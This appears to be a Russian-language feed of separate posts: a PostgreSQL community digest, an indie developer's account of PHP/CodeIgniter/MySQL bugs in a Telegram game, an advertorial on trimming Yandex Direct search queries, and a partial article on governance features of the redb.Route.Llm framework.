Это поле деятельности - удивительное. Коллеги встречаются с бывшими коллегами, конкуренты не то, что доброкачественно конкурируют, они (пока) не конкурируют вообще - все просто делают общее дело (во всяком случае "я так вижу"). Возможно, скоро об этом будут вспоминать как о золотых временах и маленьком социальном рае. Возможно, компании далеки от критической массы, от порога радикального влияния. Мы помним, как жёстко покойный Саймон Риггс (Simon Riggs) продвигал MERGE, в котором был корпоративно заинтересован 2nd Quadrant, тоже, можно сказать, покойный (см. Битва при MERGE. Хроника с выводами и моралью).

Вообще есть такая страничка: Companies behind Postgres 18 development на ресурсе The Consensus. Проект Фила Итона (Phil Eaton), стартовал в этом году. И там мы видим, что в списке ведущих постгресовых компаний Postgres Professional уже не единственная российская: её поддержал Yandex.

Ну а Томаш Вондра (Tomas Vondra) доходчиво объясняет, как устроена кухня коммитфестов:

How Are Committers Selected?

Томаш говорит о демократизации процесса выбора новых и отставки старых. Раньше этим занималась core team - горстка бояр, теперь - мини-сообещество коммитеров, служилое дворянство (простите за отсебятину). Коммитеров около 30. Но в любом случае это неформальные процессы, нигде жёстко не прописанные. Происходит всё примерно так:

Февраль–март: кто-то из коммитеров начинает обсуждение в закрытой рассылке.
Номинация: участники предлагают кандидатов, делятся опытом сотрудничества.
Обсуждение: аргументы за/против, оценка готовности.
Решение: достижение консенсуса, передача списка Core Team.
Приглашение: кандидат получает «commit bit» и доступ к закрытым ресурсам.

Что даёт статус коммитера:

Доступ на push в основной git-репозиторий
Участие в закрытой рассылке (организационные вопросы)
Доступ к внутренним инструментам
Но, ещё раз: никаких «секретных каналов» для технических решений нет - всё обсуждается публично на pgsql-hackers.

Разное

Новости vyruss.org

Это блог Джимми Энджелейкоса (Jimmy Angelakos), автор книги/курса PostgreSQL Mistakes and How to Avoid Them, где он систематизирует типичные проблемы в схемах, типах данных, безопасности и HA, даёт практичные рекомендации. В списке PostgreSQL: Contributor Profiles у него титул Significant Contributor.

Конечно, обладатель такой фамилии общается с греческими юниксоидами - с Αρχική Σελίδα | HELLUG. Конечно, russ к России отношения не имеет, ник, видимо, происходит от слова "вирус", где игрек некоторый греческий. Конечно, пишет он больше всего о собственных разработках - их есть у него: pg_statviz 1.0 released with AI-powered analysis.

Любит ездить по конференциям. Пишет любопытное о лоуландцах: PGDay Lowlands 2025 and Getting Postgres to the Next Level - прошла в Роттердамском зоопарке 12 сентября прошлого года. Докладчики докладывали морским черепахам, пингвинам и другой морской живности.

Но живёт он отнюдь не в средиземноморье. Живёт он рядом с хайландцами - в Эдинборо. Там, оказывается, тоже проходят Postgres-конференции и митапы:

Announcing the inaugural PostgreSQL Edinburgh meetup или

PostgresEDI April 2026 Meetup Recap & May Lightning Talks.

и вот: PostgresEDI · Календарь событий. Он же сам и организатор - их трое: ещё один Джим: Гарднер (Jim Gardner) и Денис Рыбальченко (Denys Rybalchenko). А спонсор - pgEdge.

Фокус моего внимания не случаен, но и не объективен: я просто влюблён в этот город из серого камня - строгий и совсем нестрогий одновременно. Это один из красивейших городов мира на мой вкус (может, прекрасней был Ангкор, но он давно зарос джунглями).

PGConf.Академия 2026

Пройдет 16 ноября, на этот раз не посреди тех-пустыря у Раменок, а в Центре Культур ВШЭ (Москва, Покровский бульвар, д. 11, стр. 6.). Организаторы - Postgres Professional и ФКН НИУ ВШЭ. Всё вокруг ИТ-образования: для преподавателей, методистов и экспертов из вузов, колледжей и профильных компаний. Для преподавателей (в т.ч. специализированных учебных центров) и сотрудников администраций вузов и колледжей - бесплатное. Для других категорий - платное.

Открыта регистрация, онлайн-формат участия тоже есть. Участникам конференции советуют дождаться подтверждения от организаторов по электронной почте.

The Rise of Experimental Data Lakes

Это не экспериментальные озёра данных, а озёра экспериментальных данных - если кто-то путает. Речь о научных данных. Которые теперь тоже решили заливать в озёра, а не пытаться собрать в одном водохранилище данных. Пишет Али Азхар (Ali Azhar).

How CERN Powers Ground-Breaking Physics with TimescaleDB

Tiger Data хвастается, и есть чем. Компании любят сотрудничать с ЦЕРНом, это престижно. Вот и Tiger Data устраивают совместный семинар с церновскими физиками:

Рафаль Кулага (Rafal Kulaga, айтишник, CERN,
Мартин Земко (Martin Zemko, айтишник, CERN,
Брендон Пёрсел (Brandon Purcell), директор по продуктам, Tiger Data.

На этом примерно часовом вебинаре инженеры ЦЕРН расскажут, как они модернизировали свою устаревшую систему архивирования с помощью NextGen Archiver (NGA) и TimescaleDB (на базе PostgreSQL), чтобы повысить производительность, снизить затраты на хранение и упростить долгосрочную эксплуатацию. А именно:

Построили модульную архитектуру архивирования (NGA) для модернизации устаревшего стека.

Сократили объём хранения до 95% и ускорил аналитику по историческим данным до 40%, используя гибридную строково-колоночную (rowstore/columnstore) архитектуру TimescaleDB.

Использовали непрерывные агрегаты (автоматически обновляемые материализованные представления) для создания быстрых дашбордов по огромным массивам исторических данных.
Обеспечили работу со сложными метаданными, экономящими время, объединив реляционные данные и временные ряды в единой системе.
Спроектировали решение с учётом сопровождаемости и гибкости, снизив зависимость от вендора и технический долг.

Хранилища - S3. По теме Workflow engines будут фигурировать Airflow, Nextflow и Snakemake.

В ЦЕРНе 800 с лишним SCADA (Supervisory Control And Data Acquisition = управление технологическим процессом и сбор данных) на базе сименсовских WinCC OA (SIMATIC WinCC Open Architecture). Системы Большого Адронного Коллайдера генерят сотни тысяч гигабайт данных в день. И эти данные существенно привязаны ко времени события.

Что за WinCC OA, с чем едят? Alexander Kuznetsov aka akcoun представляется в хабре как специалист по АСУ ТП - аббревиатура, которую подзабыли. Он предупреждает: в ряде моментов WinCC OA радикально отличается от обычных распространенных SCADA.

Swiss PGDay 2026

Пройдёт 25-26 июня в Рапперсвиле (Rapperswil). Это отнюдь не ЦЕРНовская тусовка, это немецкая Швейцария, недалеко от Цюриха, на берегу Цюрихского, а не Женевского озера. Устраивают конференцию прикладники: OST Eastern Switzerland University of Applied Sciences. Но в оргкомитете на самом почётном месте человек академический - Тобиас Буссман (Tobias Bussmann, Swiss Academy of Sciences, Bern).

Графиня (обещанная в 1-й половине обзора)

визуализация, мониторинг и анализ данных

Российские разработчики (компания «Лаборатория Числитель») создали аналог Grafana под названием Графиня. И это не шильдик, - говорят они, - и не форк: решение вообще не использует код Grafana. Графиня предлагает:

Стабильные обновления, которые не ломают дашборды.
Упрощенную разработку плагинов.
Многоуровневое кэширование.
Универсальные API-контракты.
Улучшенные функции администрирования и безопасности.

На этом пока всё.

Два года один пилю MMORPG на CI4: пять багов, за каждым из которых стоял живой игрок

dron88 — Wed, 10 Jun 2026 20:47:24 +0000

Выживший один у пыльного терминала в ночном бункере

Два года я в одиночку пилю текстовую MMORPG в Telegram. И знаете, что в этом самое странное? Мир там живёт без меня.

Раз в минуту просыпается крон — и это сердцебиение целой планеты. Пока я сплю, у кого-то достраивается база, списывается налог, бродят NPC, идут бои. К утру 485 выживших разбрелись по карте в 1 000 000 клеток, между ними отгремело часть из 45 296 боёв, а где-то новичок впервые поставил палатку и не понял, что делать дальше. Я просыпаюсь и читаю логи, как сводку с фронта войны, которую сам же и развязал.

Под капотом — CodeIgniter 4 и ~152 000 строк кода, написанных одним человеком по ночам. CRUD-туториалы про CI4 («сделай блог за вечер») такое не показывают. А живой мир показывает: грабли PHP и фреймворка вылезают не на хелло-ворлде, а когда по ту сторону экрана сидит реальный человек и делает то, чего ты не предусмотрел.

Вот пять, на которые я наступил по-настоящему. И за каждой — не абстрактный баг, а чей-то испорченный вечер. Иногда — мой.

Грабля 1. Рубильник, который не выключался: ((bool)"false") === true

Рубильник опущен в положение «выкл», а лампочка над ним всё равно горит

У соло-разработчика нет QA, нет стейджинга с реальными игроками и нет ночного дежурного. Поэтому первое, что я построил, — рубильники. 486 настроек в админке, и у каждой опасной фичи свой killswitch: если в проде что-то пойдёт не так на глазах у живых выживших, я щёлкну false, и фича уснёт, не успев испортить людям вечер. Это мой спасательный круг. Сплю спокойнее.

И вот включаю новую механику, всё работает. Решаю на ночь выключить — щёлкаю false, сохраняю. А она не выключается. В базе по-прежнему 1.

Щёлкаю ещё раз. 1. Ещё. 1. В этот момент понимаешь две вещи: спасательный круг, который ты так гордо себе сшил, дырявый — и винить, кроме себя, некого. git blame показывает меня.

Код (было)

// value приходит из POST-формы админки строкой: "true" / "false"
case 'bool':
    $update['value_bool'] = ((bool) $value) ? 1 : 0;
    break;

Виноват тут не CI4, а сам PHP и моя самоуверенность. К false в PHP приводятся только пустая строка "" и строка "0" (см. мануал, «Converting to boolean»). Всё остальное — true. А "false" — непустая строка, не равная "0". Значит true. Значит 1.

То есть рубильник исправно включал свет ("true" → true → 1), а вот выключить им было нельзя в принципе: "false" тоже давал 1. Полгода. Полгода у меня в проде висел выключатель, как в плохой съёмной квартире, — щёлкает, а свет горит. Спасало только то, что выключал я редко и обычно через соседнюю кнопку «Сброс к умолчанию», которая шла другим путём.

Код (стало)

case 'bool':
    // "true"/"1"/"on"/"yes" → 1,  "false"/"0"/"off"/"" → 0
    $update['value_bool'] = filter_var($value, FILTER_VALIDATE_BOOLEAN) ? 1 : 0;
    break;

Урок: (bool)$строка для значений из форм — почти всегда баг. Любой ввод, где "false", "0" или "no" значат «нет», гони через filter_var($v, FILTER_VALIDATE_BOOLEAN). А проверку я, каюсь, сделал прямо в проде: щёлкнул в false, заглянул в базу — и впервые за полгода увидел там честный 0. Маленькая, глупая, но настоящая радость в три часа ночи.

Грабля 2. CI4 проглотил награду за верность: DataException: no data to update

Монета опускается в щель ящика, а лоток на выходе пуст

Я делал стрики — награду за то, что человек возвращается. Мир суровый: голод, рейдеры, ночные вылазки. И мне хотелось, чтобы за каждый день, что выживший заходит, ему капало хоть немного добра. Маленький жест «спасибо, что не бросил».

Добавляю в таблицу колонку login_streak, пишу первое в жизни сохранение этой серии:

$characterModel->update($id, ['login_streak' => 5]);

И ловлю в ответ:

DataException: There is no data to update.

«Нет данных»? Я же передал массив с пятёркой! Есть в этом что-то обидное: ты пишешь код, который буквально благодарит игрока за верность, а фреймворк отвечает «никаких данных нет». Как будто не заметил, что человек вообще приходил.

А дело в $allowedFields — белом списке полей, которые CI4-модель разрешает массово писать. Новой колонки в списке нет → модель молча выкидывает её из набора. Передал одно поле, после фильтрации не осталось ни одного — «нет данных».

Фикс

protected $allowedFields = [
    'name', 'level', 'gold', /* ... */
    'login_streak',           // ← забудешь добавить = поле молча исчезнет
    'login_streak_last_day',
];

И самое противное — оно молчит. Не «поле не разрешено», не warning. Просто фильтрует в пустоту. У меня этот путь был покрыт юнит-тестом на сервис-слое, где модель замокана, поэтому фильтрация $allowedFields там и не отрабатывала. Ловит такое только интеграционный тест с живой БД либо первый же апдейт в проде. Наступил я на это, кстати, дважды — второй раз со стыдом, потому что уже знал.

Урок: добавил колонку — сразу в $allowedFields. Я завёл железную привычку: миграция и правка $allowedFields идут одним коммитом. Иначе через неделю забудешь, что они вообще связаны.

Грабля 3. Один типос — и первый шаг новичка взрывается: ENUM + STRICT-режим MySQL

Часовой на блокпосту поднятой рукой заворачивает новичка с неправильным пропуском

Эта история — про человека, которого я чуть не потерял на первой минуте.

В игру заходит совсем зелёный новичок. Ему всё непонятно: где база, как добывать, куда идти. И вот он делает свой самый первый осмысленный шаг — открывает экран базы. Игра в этот момент должна тихо записать в лог: «новичок открыл базу впервые» — это веха, по ней потом строится обучение. А вместо записи — красная ошибка прямо ему в лицо. На первой минуте. В мире, где он и так ничего не понимает.

Я этот сценарий поймал на аудите до того, как он встретил живого человека. И похолодел. Потому что причина была идиотской: в лог-флаг я записал значение done. Синоним Completed, мелочь, рука сама набрала.

Локально тесты были зелёные. А прод бы упал:

Data truncated for column 'action_status' at row 1

Колонки со статусами (Pending/Completed/Skipped, у задач in_work/completed) я сделал не VARCHAR, а ENUM — чтобы база сама стерегла инварианты. Но на проде включён STRICT_TRANS_TABLES, и для ENUM это значит буквально: любое внесписочное значение не «обрезается до пустого», а роняет весь запрос с исключением. То есть не просто кривой флаг записался — упало бы всё действие игрока, частью которого был этот INSERT. Его первый шаг в мире.

В чём была ловушка

action_status ENUM('Pending','Completed','Skipped') NOT NULL DEFAULT 'Pending'

-- прод (STRICT_TRANS_TABLES): валит весь INSERT
INSERT ... SET action_status = 'done';        -- Data truncated → Exception

-- надо строго из списка
INSERT ... SET action_status = 'Completed';

А локально всё молчало просто потому, что у dev-сервера STRICT мог быть выключен — там done тихо превратился бы в ''. Классический «у меня работает», где разница не в коде, а в sql_mode между машинами. С тех пор я отношусь к ENUM как к вахтёру, который не пускает «почти подходящих»: записываю в такие колонки только строго из списка, а сами значения держу в коде константами — чтобы опечатка вылезла на этапе моих мыслей, а не в лицо новичку.

Урок: ENUM под STRICT_TRANS_TABLES — не «мягкая подсказка», а жёсткий гейт: внесписочное значение валит запрос целиком. И всегда сверяйте sql_mode между dev и прод. Половина «а у меня же работало» родом отсюда — и иногда ценой этому чей-то самый первый шаг в вашем мире.

Грабля 4. Капитальный ремонт мотора на ходу: CI4 Entity, который притворяется массивом

Механик чинит мотор движущегося грузовика, пассажиры едут в кузове

А это не баг, а решение, которым я тихо горжусь. Но далось оно нервами.

Сердце игры — персонаж. Выживший. Всё вращается вокруг него. А в коде он начинался как тупой массив: $character['name'], $character['health'] — тысячи таких обращений по всему проекту. Хотелось дать ему настоящую сущность: типизированные геттеры, методы прямо на объекте, нормальную инкапсуляцию. CI4 это умеет через $returnType = CharacterEntity::class.

Одна беда: переписать тысячи $char['...'] на $char->... за раз — это поставить мир на паузу. А его нельзя ставить на паузу. Прямо сейчас, пока я думаю об этом рефакторинге, по карте идут живые люди. Налог капает. Бои считаются. Останови двигатель — и кто-то посреди похода упрётся в ошибку.

Поэтому мотор пришлось чинить на ходу. Сущность, которая одновременно ведёт себя как массив:

Entity + ArrayAccess

class CharacterModel extends Model
{
    protected $returnType = CharacterEntity::class;
}

// CharacterEntity подключает трейт с ArrayAccess →
// старый $char['name'] и новый $char->name работают оба
$char = $characterModel->find($id);
$char['health'];   // легаси-код жив
$char->health;     // новый код

Старый код не сломался, новый поехал на сущностях, а миграция шла файл за файлом, без большого взрыва. Пассажиры даже не заметили, что под капотом поменяли половину мотора. Вот за такие моменты я и люблю это дело.

Цена — статический анализ, и тут буду честен. «PHPStan L9 без ошибок» у меня означает L9 с управляемым baseline на легаси, который я планомерно сокращаю. Новый код пишется уже под чистый L9: сигнатуры стали array|CharacterEntity, и анализатор справедливо требует на каждом шаге доказать, с чем имеешь дело. Зануда? Да. Но когда сьют из 1508 тестов и PHPStan в один голос говорят «No errors», я точно знаю, что переезд не протащил ни одной тихой регрессии в мир, где люди прямо сейчас живут. За это не жалко повозиться с union-типами.

Урок: ArrayAccess на сущности — отличный мост, чтобы мигрировать легаси, не останавливая прод. Только заранее прими: union array|Entity ты будешь доказывать статанализатору ещё долго. Это честная плата за то, что никто из игроков не упёрся в ошибку, пока я перебирал движок.

Грабля 5. Эмодзи, у которого вынули душу: utf8 в MySQL — это не то, что вы думаете

Яркая плитка-символ протискивается в узкую щель и выходит с другой стороны выскобленной добела

Мир у меня текстовый. Никакой графики — только буквы и эмодзи. Карта нарисована эмодзи. Огонь — 🔥, бой — ⚔️, заброшенный бункер — 🏚. Эти крошечные пиктограммы и есть лицо игры, её «найденная фотоплёнка». И вот накатываю порцию контента, открываю в Telegram — а половина иконок превратилась в ?.

Причём не все. —, кавычки-ёлочки, вся кириллица — на месте. А эмодзи — в знак вопроса. Как будто из мира выскоблили ровно ту часть, в которую я вкладывал характер.

Разгадка в том, что utf8 в MySQL — это не настоящий UTF-8. Исторический utf8 (он же utf8mb3) хранит максимум 3 байта на символ. Кириллица и типографика в три байта влезают. А эмодзи четырёхбайтные — не влезают, и молча режутся в ?. Душу — за борт, тихо, без единого warning.

Коварство именно в «частично»: глазами по тексту всё правильно (тире на месте, буквы на месте), ломаются только картинки. SQL-проверкой «совпадает ли строка» баг не ловится — ловит только реальный рендер в чате у игрока.

Фикс и подводные камни

-- было: колонка в utf8mb3 (он же исторический "utf8")
ALTER TABLE tips CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
-- utf8mb4 = настоящий 4-байтный UTF-8, эмодзи влезают

Две оговорки, чтобы не наступить рядом:

На MySQL 8.0 utf8 пока всё ещё алиас utf8mb3 (с депрекейшеном), так что «utf8 = utf8mb3» — это про старые версии и MariaDB; на свежих дефолт уже utf8mb4.
При CONVERT TO ... utf8mb4 длинные VARCHAR под индексом могут упереться в лимит длины ключа (767/3072 байта) — проверьте схему до миграции.

Урок: есть эмодзи в данных (а в Telegram-боте они везде) — колонка обязана быть utf8mb4, не utf8. И проверять надо не SQL-сравнением, а тем, как символ реально доезжает до человека на том конце. Мир чуть не остался без половины своего лица.

Что в сухом остатке

Ни одна из этих граблей не лечится чтением документации вперёд. Они вылезают, только когда система живая: когда по ту сторону экрана не тест-кейс, а человек, который злится, радуется, бросает и возвращается. 55 task-хендлеров, 238 экранов, 323 миграции, строгий PHPStan — это всё не ради красивых цифр в резюме. Это ради того, чтобы у новичка не взорвался первый шаг, чтобы стрик запомнил верного, чтобы эмодзи доехало живым.

CodeIgniter 4 в этой истории — честный рабочий конь: не мешает, даёт двигаться быстро, а грабли в основном там, где я сам срезал угол по ночам. Знать про них заранее полезно — поэтому и пишу.

А держусь я за всё это вот почему. Иногда читаешь логи, а там кто-то в общем чате спрашивает: «а как зайти на базу?» И ты вдруг понимаешь, что по ту сторону твоих WHERE и ENUM — живой человек, который сейчас стоит посреди твоего выдуманного постапокалипсиса и пытается выжить. Ради этого ощущения и пилишь два года в одиночку.

Если интересно посмотреть, как это живёт: бот — @wildworldrpg_bot. Максимальный уровень у выжившего сейчас 201 — так что место в рейтинге пока есть.

В следующей статье разберу боевую часть: как текстовый бой считается из «оружие + броня + RNG + события» и почему я в итоге залогировал каждую переменную боя — чтобы не отвечать игрокам «ну там рандом». Если тема зайдёт — накидайте в комментариях, во что из кишок игры копнуть интереснее.

Как за 15 минут найти запросы, которые тихо сливают бюджет в Яндекс Директе

Wed, 10 Jun 2026 20:35:14 +0000

Есть тип рекламных кампаний, который сложно сразу распознать. На первый взгляд все выглядит стабильно: показы идут, клики есть, CTR не падает. Но стоимость заявки медленно растет. Не в два раза за день, а хуже. На 5–10% каждую неделю. Настолько плавно, что увеличение легко списать на сезонность, рост ставок или конкуренцию. При этом все больше и больше денег тратится впустую.

Рассказали в статье:

в чем причины такого явления;
как быстро избавиться от лишних запросов с помощью «Кластеризации запросов».

В чем причина роста стоимости заявки

В подобную ситуацию часто попадают агентства и фрилансеры, которые активно работают в Яндекс Директе. Особенно, если кампании запущены давно, а семантика все время расширяется.

Во многих случаях причина не в стратегии или креативах, а в поисковых запросах, которые постепенно начинают размывать трафик.

Разберем типовую ситуацию на примере. Представитель интернет-магазина мебели запускает рекламу по запросам:

«купить диван»;
«диван недорого»;
«угловой диван москва».

Постепенно Яндекс начинает подтягивать близкие по смыслу формулировки:

«диван своими руками»;
«чертеж дивана»;
«бу диван»;
«как сделать диван».
«диван бесплатно».

Кликов становится больше, CTR остается в пределах нормы, но конверсии по таким запросам почти нулевые. Проблема в том, что почистить неконверсионные запросы вручную достаточно трудозатратно. Особенно если кампаний много, а поисковых запросов — тысячи.

Как быстро избавиться от лишних запросов

Чтобы быстро почистить семантическое ядро, можно применить инструмент «Кластеризация запросов» от click.ru.

Разберем на примере, как может выглядеть процесс.

Директолог Иван Иванов продвигал интернет-магазин мебели. Сначала он выгрузил поисковые запросы за 30 дней. В полученном отчете отсортировал фразы по количеству кликов или расходам. Он нашел слова, которые не принесли конверсий или имели низкий CTR < 1,5%, а потом сгруппировал их по смысловым блокам. Иван хотел быстро разделить запросы по реальному интенту пользователя.

Например, «купить диван», «диван цена», «диван доставка» — это коммерческие запросы. А вот «диван своими руками», «чертеж дивана», «как собрать диван» — уже информационные, которые в большинстве коммерческих кампаний только расходуют бюджет впустую. Вручную такие запросы легко пропустить. Особенно когда их десятки тысяч.

Чтобы сгруппировать запросы, Иван применил инструмент «Кластеризация запросов». Сначала он загрузил список запросов.

Потом выбрал поисковую систему и задал точность.

И вот что он получил:

Информационные запросы можно исключать. Как оказалось, их не мало. Некорректная семантика — одна из причин, почему старые кампании со временем начинают работать хуже даже без резких изменений на рынке. После такой чистки стоимость заявки вполне способна вернуться к прежним значениям.

Что можно проверить прямо сейчас за 15 минут

Подготовили мини-чеклист, который поможет быстро оптимизировать кампанию.

1. Выгружаем поисковые запросы за последние 30 дней.

2. Сортируем их по расходу.

3. Находим фразы без конверсий.

4. Отдельно проверяем запросы с информационным интентом:

«как»;
«что это»;
«бесплатно»;
«своими руками»;
«отзывы».

5. Группируем запросы по смыслу через инструмент «Кластеризация запросов».

6. Добавляем явно лишние фразы в список минус-слов.

7. Сравниваем CPA через 1–2 недели.

Очень часто при первой чистке можно найти запросы, на которые незаметно тратилось 10–20% бюджета. Иногда даже один час работы с семантикой может быть эффективнее тестов новых оферов и креативов.

Интеграция ИИ уровня предприятия: встраивание LLM в бизнес-процессы крупных компаний — redb.Route.Llm 3.1.1

grelikt — Wed, 10 Jun 2026 20:21:20 +0000

redb.route llm

Серия: redb ecosystem (часть 2 к LLM-анонсу)

В предыдущей статье я анонсировал redb.Route.Llm как 24-й транспорт redb.Route — мы делали LLM ещё одним endpoint'ом наравне с Kafka, RabbitMQ и HTTP, чтобы выкинуть отдельную «AI-инфраструктуру», стоящую рядом с интеграционной. Заодно я повесил в конец статьи «честный skip-list» — список того, что в 3.1.0 ещё не доделано: streaming, ToolCacheStore, KnowledgeStore, BatchStore, EvalRunStore, sliding-window память, sandbox-инструменты.

Из этого skip-list'а делано больше, чем я планировал. Но не это главное. Главное — что в процессе доделывания обнаружилась настоящая ценность всей затеи: LLM-транспорт оказался не очередным чат-фреймворком, а недостающим звеном в ESB, после которого «бизнес-агент в проде» перестаёт быть отдельным проектом. Эта статья — про то, как чат-демо превращается в enterprise-агентскую платформу, не переписываясь и не превращаясь в «AI-монолит сбоку».

Всё, что ниже — реальный код из репозитория, не псевдокод. Ссылки на демо-маршруты в конце.

Это вторая часть серии про redb.Route.Llm. Первая часть — здесь:
redb.Route 3.1.0 — LLM как ещё один транспорт: .To("llm://claude") и .AsLlmTool()
Контекст серии redb.Route целиком:
redb.Route — Apache Camel для .NET
redb.Route изнутри: четыре in-memory канала и Exchange
redb.Route 3.0.1 — плоская навигация по DSL, рефакторинг CRTP и тихий null

Маленькая ремарка про EIP. В этой статье я многократно опираюсь на Enterprise Integration Patterns — Multicast, Aggregator, Scatter-Gather, Wire-Tap, Choice, Aggregate-by-window — не разбирая каждый из них подробно. Это сознательный выбор: статей серии «EIP в .NET через redb.Route» с детальным разбором каждого паттерна (с диаграммами, кодом и сравнениями) ещё не вышло, я их пишу параллельно. Здесь я немного забегаю вперёд.
Если вы работали с Apache Camel или WSO2 Micro Integrator — узнаете паттерны на ходу, имена и семантика идентичны. Я сам много лет писал и поддерживал интеграционные проекты на WSO2 MI (и ESB-предке), архитектурно redb.Route ближе всё-таки к Camel — компилируемая DSL поверх типизированного Exchange, а не XML-конфиг. Сопоставления «Camel ↔ redb.Route» и «WSO2 MI ↔ redb.Route» — это отдельные большие статьи, тоже в работе. Если что-то по EIP-части в коде ниже окажется непонятным, спрашивайте в комментариях — отвечу сразу, заодно соберу материал для тех самых будущих статей.

Чем это всё отличается от «ещё одного агентского фреймворка»

В индустрии много инструментов, которые делают LLM-tool-use из коробки: LangChain, langchain4j, Semantic Kernel, AutoGen, LlamaIndex и десятки нишевых. Все они решают одну проблему: «как у меня модель будет вызывать функции и помнить разговор». И все они оставляют решать вам остальные восемнадцать: retry, idempotency, audit, multi-tenant, бюджет, observability, governance, approval, batch, scheduling.

Идея redb.Route.Llm — сделать LLM транспортом в ESB, у которого эти восемнадцать уже решены на уровне фреймворка. Не «у нас есть библиотека интеграций, плюс отдельная LLM-библиотека», а ровно та же DSL, ровно тот же runtime, ровно те же hook'и для governance. Если у вас в redb.Route уже есть policy-перехватчик, который пишет в Kafka каждое действие — он автоматически пишет туда и каждый tool-вызов агента, потому что это всё один и тот же Exchange.

Это не теоретическая красота. Это снимает главную боль продакшена с агентами: «а что произойдёт, когда LLM попросит удалить production-таблицу?» В конструкции «LangChain + хуки» ответ — «подключите наши approval-callbacks и не забудьте». В конструкции «LLM как транспорт в ESB» ответ — «перехватите Exchange до .To("exec://...") тем же .Process(...), которым вы перехватываете любой потенциально опасный шаг в любом другом маршруте». Не «новый паттерн для AI», а тот же паттерн, что для FTP и для Kafka.

Что доделано из «честного skip-list» 3.1.0

Я обещал — я говорю.

Skip-list пункт	Статус 3.1.1
Streaming end-to-end (HTTP SSE + WS per-frame)	Готово. `IAsyncEnumerable<string>` в `Out.Body` → SSE-кадр на HTTP-side, отдельный WS-message на WS-side.
ToolCacheStore (REDB)	Готово. `ToolCacheProps`, политика `ToolCachingPolicy.Memoize` на уровне DSL.
KnowledgeStore — RAG-чанки в REDB	Готово (частично). `KnowledgeChunkProps` + индексирование, embeddings будут отдельным релизом.
BatchStore + LlmCallbackProcessor	Готово. Anthropic Message Batches и OpenAI Batch — асинхронный webhook-консьюмер, идемпотентная обработка, retry.
EvalRunStore	Готово. Прогоны eval'ов сохраняются как первоклассные сущности с trace-id'ами.
PromptTemplateStore	Готово. Версионированный реестр промптов, ссылка `#name` в DSL.
Sliding-window память	Не сделано. Сделано иначе: tree-branching конверсаций как REDB-tree (см. ниже).
Sandbox-инструменты	Не сделано в виде «контейнер на каждый вызов». Сделан `redb.Route.Exec` с allowlist + working-dir + timeout + cap-by-bytes — практичный enterprise-минимум.

Бонусом, чего в skip-list не было:

?redb=<name> per-exchange — мульти-tenant: одна и та же конфигурация маршрута, REDB-instance выбирается из заголовка/URI на лету;
DSL/tool split — пакеты redb.Route.Llm.Abstractions (контракты) и redb.Route.Llm.Tools (готовые утилитарные инструменты), чтобы 22 коннектора могли регистрировать .AsLlmTool() без bump'а минорки на каждый чих;
6 утилитарных инструментов из коробки: HttpFetch, JsonPath, XPath, RegexExtract, MathEval, TavilyWebSearch — каждый и как DSL-расширение, и как standalone tool-route;
Bug fixes, которые нашлись только в проде: orphan-tool_use (когда модель просит инструмент, а Anthropic-провайдер обрывает на ошибке) и OEM-codepage в Process.StandardOutput (windows-1251 в выхлопе cmd /c ломает UTF-8 контракт инструмента).

11 REDB-схем теперь стоят за всем этим: ConversationProps, MessageProps, ApprovalProps, CostBudgetProps, ToolCacheProps, ToolAuditProps, KnowledgeChunkProps, PromptTemplateProps, EvalRunProps, LlmBatchProps, ToolIdempotencyProps. Это не «база данных под чат-историю». Это операционный слой агентской платформы, который вы получаете за AddRedbLlmStorage() в одну строку.

Десять enterprise-паттернов, которые становятся одной строчкой DSL

Дальше — паттерны. Не «Hello, world», а то, ради чего вообще существует ESB-подход к LLM.

1. Жёсткий бюджет на разговор как circuit-breaker

В пет-проекте «бюджет токенов» — это лог. В проде это техника защиты от инцидентов: модель не должна иметь права съесть 10к долларов из-за бага в промпте. CostBudgetProps — это не observability-сущность, это превентивное правило. На каждом провайдер-вызове агент-engine считает потраченное по conversation-id и прибавляет ожидаемое (по max_tokens). Если суммарно превысит лимит — LlmBudgetExceededException бросается до отправки запроса, а не после.

From("kafka://support-tickets")
    .To(Llm.Factory("claude")
        .Conversation(e => "ticket-" + e.In.Headers["TicketId"])
        .CostBudget(usd: 0.50)            // hard ceiling per conversation-id
        .CostBudgetExceeded(BudgetPolicy.FailFast)
        .AsUri())
    .To("kafka://support-replies");

Поверх этого паттерна сразу появляются производные: «бюджет на тенант», «бюджет на промпт-шаблон», «бюджет на модель». Все они — это просто разные ключи в CostBudgetProps. Конструкция остаётся одна.

2. Approval-gate с человеком в цикле

Самый недооценённый enterprise-паттерн в LLM. Если модель имеет право удалять записи или отправлять платежи — между tool-вызовом и реальным выполнением должен стоять человек, и эта пауза должна быть нативной частью runtime, а не «костылём из webhook'ов».

From("direct:tool-payments-refund")
    .AsLlmTool("issue_refund")
        .Description("Refund a payment by id and reason.")
        .Input(/* JSON Schema */)
        .SideEffect(ToolSideEffect.Mutating)         // hook governance reads this
        .Cost(ToolCostClass.Expensive)
    .Then()
    .Process<ApprovalGate>()                          // suspend exchange, write ApprovalProps,
                                                       // notify Slack, wait for HTTP callback
    .To("kafka://payments.refund.commands");

ApprovalProps хранит exchange-id, conversation-id, входные аргументы, человека-аппрувера, время ожидания, исход. Slack-bot/email/web-form подключаются как обычный HTTP-маршрут в том же redb.Route. Когда аппрувер кликает «approve» — webhook будит exchange и доставляет результат в агент-engine. Если timeout — agent получает tool_result со status:"timeout" и сам решает, что делать.

Главное здесь — это не AI-логика. Это паттерн EIP «Aggregator + Correlation Identifier + Wire-Tap + JMS Reply-To», который применим и к refund-engine'у без LLM, и к LLM-агенту, потому что они оба — Exchange'и в одном runtime.

3. Идемпотентный retry с ToolIdempotencyProps

Webhook-консьюмеры повторяются. Сетевые таймауты — повторяются. Anthropic Batch иногда доставляет дважды. Если ваш tool-вызов «issue refund $50» обрабатывается два раза — это плохая среда.

ToolIdempotencyProps хранит idempotency-key → tool-result с TTL. В DSL:

From("direct:tool-issue-invoice")
    .AsLlmTool("issue_invoice")
        .Caching(ToolCachingPolicy.Idempotent)
    .Then()
    .Process(BuildIdempotencyKey)                    // sha256(args + customer-id + day)
    .To("...");

Когда агент-engine видит Caching = Idempotent — он до запуска маршрута проверяет ToolIdempotencyProps по ключу. Hit — отдаёт сохранённый tool_result, маршрут не запускается. Miss — запускается, результат записывается. На уровне фреймворка, а не на уровне «не забудьте».

4. Multi-tenant через ?redb=

